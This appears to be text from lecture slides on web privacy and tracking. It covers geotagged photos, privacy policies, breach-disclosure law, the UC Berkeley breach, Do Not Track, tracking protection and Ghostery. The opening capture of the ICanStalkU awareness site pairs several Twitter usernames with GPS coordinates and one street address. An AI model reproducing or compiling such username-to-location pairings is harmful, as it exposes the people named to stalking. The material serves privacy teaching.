ICanStalkU was able to stalk innicklasson at http://maps.google.com/?q=57.134444444,12.7141666667
2 minutes ago · Map Location · View Tweet · View Picture · Reply to Innicklasson

ICanStalkU was able to stalk Welerson13 at
http://maps.google.com/?q=-15.738055556,-47.898611111
2 minutes ago · Map Location · View Tweet · View Picture · Reply to Welerson13

ICanStalkU was able to stalk BritBangert at 920 Hawley St Taylorville IL
1 minute ago · Map Location · View Tweet · View Picture · Reply to BritBangert

ICanStalkU was able to stalk jiggy_Owla at
http://maps.google.com/?q=13.7830055879,100.518500685
4 minutes ago · Map Location · View Tweet · View Picture · Reply to Jiggy_Owla

ICanStalkU was able to stalk gcolony at
http://maps.google.com/?q=37.7851666667,-122.404166667
4 minutes ago · Map Location · View Tweet · View Picture · Reply to Gcolony

Links
- Mayhemic Labs
- PaulDotCom
- SANS ISC
- Electronic Frontier Foundation
- Center for Democracy & Technology

How did you find me?
Did you know that a lot of smart phones encode the location of where pictures are taken? Anyone who has a copy can access this information.

Help me fix this!
Disabling Geo-Tagging on your phone is easy. Check your phone’s user manual for instructions.
How To Gain Better Privacy?

discuss with your neighbor
How To Gain Better Privacy?

- Force of law
  - Example #1: web site privacy policies
    - US sites that violate them commit false advertising
    - But: policy might be “Yep, we sell everything about you, Ha Ha!”
7. Collection of Viewing Information. You acknowledge that you are aware of and consent to the collection of your viewing information during your use of the Software and/or Content. Viewing information may include, without limitation, the time spent viewing specific pages, the order in which pages are viewed, the time of day pages are accessed, IP address and user ID. This viewing information may be linked to personally identifiable information, such as name or address and shared with third parties.
How To Gain Better Privacy?

- Force of law
  - Example #1: web site privacy policies
    - US sites that violate them commit false advertising
    - But: policy might be “Yep, we sell everything about you, Ha Ha!”
  - Example #2: SB 1386 (bill in CA legislature)
    - Requires an agency, person or business that conducts business in California and owns or licenses computerized 'personal information' to disclose any breach of security (to any resident whose unencrypted data is believed to have been disclosed)
    - Quite effective at getting sites to pay attention to securing personal information
May 8, 2009 1:53 PM PDT

UC Berkeley computers hacked, 160,000 at risk

by Michelle Meyers

This post was updated at 2:16 p.m. PDT with comment from an outside database security software vendor.

Hackers broke into the University of California at Berkeley's health services center computer and potentially stole the personal information of more than 160,000 students, alumni, and others, the university announced Friday.

At particular risk of identity theft are some 97,000 individuals whose Social Security numbers were accessed in the breach, but it's still unclear whether hackers were able to match up those SSNs with individual names, Shelton Waqqener, UCB's chief technology officer, said in a press conference Friday afternoon.
How To Gain Better Privacy?

- Technology
  - Various browser additions
  - Special browser extensions
  - Tor and anonymizers – later in course
Browser: “Tracking protection”

Private browsing includes tracking protection

Blocks third-party trackers based on Disconnect.me
- **basic**: blocks commonly known analytics trackers, social sharing trackers, and advertising trackers, but allows some known content trackers to reduce website breakage.
- **strict**: blocks all known trackers, including analytics, trackers, social sharing trackers, and advertising trackers as well as content trackers. The strict list will break some videos, photo slideshows, and some social networks.
Browsers: Do not track flag

You can turn on this flag in your browser

What does it do?
- Tells web servers you want to opt-out of tracking
- It does this by transmitting a Do Not Track HTTP header every time your data is requested from a web server

It does not enforce that there is no tracking, it is up to the web servers whether they decide to track or not
Some ad companies do provide more generic ads as a result of this flag.
Browser extension: Ghostery

User installs browser extension:

1. Recognizes third-party tracking scripts on a webpage based on an actively curated database of such scripts

2. Blocks HTTP requests to these sites
   - as a result, Facebook buttons don’t even show

3. Users can create “Whitelists” of allowed sites
   - e.g., allow FB button but note that you allow tracking by FB too
But you have to be careful...

Ghostery: A Web tracking blocker that actually helps the ad industry

RICARDO BILTON    JULY 31, 2012 7:00 AM
TAGS: COOKIES, EDITOR'S PICK, EVIDON, FEATURED, GHOSTERY, SCOTT MEYER, WEB TRACKING

Press Releases

Carey Chen Joins NVBOTS Board of Directors

- Users can opt-in to sending anonymously data back to Evidon, the parent company, to improve its tracking database
- Evidon sells this data to ad companies..
- But strategy is transparent, users opt into this
Conclusions

- Third-party apps can track us even if we don’t visit their website.
- Tracking is very common on the web and can collect a lot of data about you.
- Some solutions exist, but have caveats.